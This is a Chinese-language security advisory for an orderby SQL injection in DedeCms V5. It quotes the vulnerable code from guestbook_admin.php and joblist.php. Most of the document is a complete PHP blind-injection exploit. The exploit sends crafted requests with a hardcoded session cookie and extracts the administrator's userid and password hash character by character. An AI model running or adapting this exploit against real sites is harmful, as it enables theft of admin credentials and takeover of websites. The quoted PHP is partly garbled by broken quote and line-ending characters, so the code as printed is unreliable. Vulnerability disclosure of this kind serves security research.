DedeCms V5 orderby参数注射漏洞
影响版本:
dedecms v5漏洞描述:
dedecms由2004年到现在,已经经历了五个版本,从dedecms v2 开始,dedecms开发了自己的模板引擎,使用xml名字空间风格的模板,对美工制作的直观性提供了极大的便利,从v2.1开始,dedecms人气急却上升,成为国内最流行的cms软件,在dedecms v3版本中,开始引入了模型的概念,从而摆脱里传统网站内容管理对模块太分散,管理不集中的缺点,但随着时间的发展,发现纯粹用模型化并不能满足用户的需求,从而dedecms 2007(dedecms v5)应声而出.80sec在其产品中发现了多个严重的sql注射漏洞,可能被恶意用户查询数据库的敏感信息,如管理员密码,加密key等等,从而控制整个网站。
在joblist.php和guestbook_admin.php等文件中对orderby参数未做过滤即带入数据库查询,造成多个注射漏洞。漏洞部分代码如下
-------------------------------------------------------
if(empty($orderby)) $orderby = 'pubdate';
//重载列表
if($dopost=='getlist'){
printajaxhead();
getlist($dsql,$pageno,$pagesize,$orderby);//调用getlist函数
$dsql->close();
exit();
……
function getlist($dsql,$pageno,$pagesize,$orderby='pubdate'){
global $cfg_phpurl,$cfg_ml;
$jobs = array();
$start = ($pageno-1) * $pagesize;
$dsql->setquery("select * from sec_jobs where memberid='".$cfg_ml->m_id."' order by $orderby desc limit $start,$pagesize ");
$dsql->execute();//orderby 带入数据库查询
……
----------------------------------------------------------
<*参考
http://www.80sec.com/dedecms-sql-injection.html
*>
测试方法:
[www.sebug.net]
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
print_r('
--------------------------------------------------------------------------------
dedecms >=5 "orderby" blind sql injection/admin credentials disclosure exploit
by flyh4t
www.wolvez.org
thx for all the members of w.s.t and my friend oldjun
--------------------------------------------------------------------------------
');
if ($argc<3) {
print_r('
--------------------------------------------------------------------------------
usage: php '.$argv[0].’ host path
host: target server (ip/hostname)
path: path to dedecms
example:
php ‘.$argv[0].’ localhost /
——————————————————————————–
‘);
die;
}
function sendpacketii($packet)
{
global $host, $html;
$ock=fsockopen(gethostbyname($host),’80′);
if (!$ock) {
echo ‘no response from ‘.$host; die;
}
fputs($ock,$packet);
$html=”;
while (!feof($ock)) {
$html.=fgets($ock);
}
fclose($ock);
}
$host=$argv[1];
$path=$argv[2];
$prefix=”dede_”;
$cookie=”dedeuserid=39255; dedeuseridckmd5=31283748c5a4b36c; dedelogintime=1218471600; dedelogintimeckmd5=a7d9577b3b4820fa”;
if (($path[0]<>’/') or ($path[strlen($path)-1]<>’/'))
{echo ‘error… check the path!’; die;}
/*get $prefix*/
$packet =”get “.$path.”/member/guestbook_admin.php?dopost=getlist&pageno=1&orderby=11′ http/1.0rn”;
$packet.=”host: “.$host.”rn”;
$packet.=”cookie: “.$cookie.”rn”;
$packet.=”connection: closernrn”;
sendpacketii($packet);
if (eregi(”in your sql syntax”,$html))
{
$temp=explode(”from “,$html);
$temp2=explode(”member”,$temp[1]);
if($temp2[0])
$prefix=$temp2[0];
echo “[+]prefix -> “.$prefix.”n”;
}
$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(97,102));//a-f letters
echo “[~]exploting now,plz waitingrn”;
/*get password*/
$j=1;$password=”";
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$chars))
{
$sql=”orderby=11+and+if(ascii(substring((select+pwd+from+”.$prefix.”admin+where+id=1),”.$j.”,1))=”.$i.”,1,(select+pwd+from+”.$prefix.”member))”;
$packet =”get “.$path.”member/guestbook_admin.php?dopost=getlist&pageno=1&”.$sql.” http/1.0rn”;
$packet.=”host: “.$host.”rn”;
$packet.=”cookie: “.$cookie.”rn”;
$packet.=”connection: closernrn”;
sendpacketii($packet);
if (!eregi(”subquery returns more than 1 row”,$html)) {$password.=chr($i);echo”[+]pwd:”.$password.”rn”;break;}
}
if ($i==255) {die(”exploit failed…”);}
}
$j++;
}
/*get userid*/
$j=1;$admin=”";
while (!strstr($admin,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
$sql=”orderby=11+and+if(ascii(substring((select+userid+from+”.$prefix.”admin+where+id=1),”.$j.”,1))=”.$i.”,1,(select+pwd+from+”.$prefix.”member))”;
$packet =”get “.$path.”member/guestbook_admin.php?dopost=getlist&pageno=1&”.$sql.” http/1.0rn”;
$packet.=”host: “.$host.”rn”;
$packet.=”cookie: “.$cookie.”rn”;
$packet.=”connection: closernrn”;
sendpacketii($packet);
if (!eregi(”subquery returns more than 1 row”,$html)) {$admin.=chr($i);echo”[+]userid:”.$admin.”rn”;break;}
if ($i==255) {die(”exploit failed…”);}
}
$j++;
}
print_r(’
——————————————————————————–
[+]userid -> ‘.$admin.’
[+]pwd(md5 24位) -> ‘.$password.’
——————————————————————————–
‘);
function is_hash($hash)
{
if (ereg(”^[a-f0-9]{24}”,trim($hash))) {return true;}
else {return false;}
}
if (is_hash($password)) {echo “exploit succeeded…”;}
else {echo “exploit failed…”;}
?>爱安全建议:
暂无
http://www.dedecms.com// aianquan.com [2008-08-13]
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